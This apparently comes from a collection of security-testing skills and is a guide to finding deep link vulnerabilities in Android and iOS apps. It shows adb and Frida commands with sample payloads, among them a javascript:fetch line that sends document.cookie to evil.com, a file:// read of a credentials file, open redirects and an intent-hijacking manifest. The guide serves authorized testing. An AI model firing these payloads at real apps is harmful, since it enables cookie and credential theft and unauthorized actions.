Use this skill when:
Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.
Android - Extract from AndroidManifest.xml:
# Decompile APK
apktool d target.apk -o decompiled/
# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />
iOS - Extract from Info.plist:
# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com
# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association
Android via ADB:
# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# Test path traversal
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.app
iOS via Safari or command line:
# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337
# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'
Android:
# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link
# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking
# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"
Test each deep link parameter for:
| Term | Definition |
|---|---|
| Custom URL Scheme | App-registered protocol (myapp://) that routes to specific app handlers when invoked |
| App Links (Android) | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app |
| Universal Links (iOS) | Apple's verified deep linking using apple-app-site-association JSON file on the web domain |
| Intent Hijacking | Malicious app intercepting deep links by registering the same URL scheme or intent filter |
| WebView Bridge | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |
am start
assetlinks.json at https://domain/.well-known/assetlinks.json.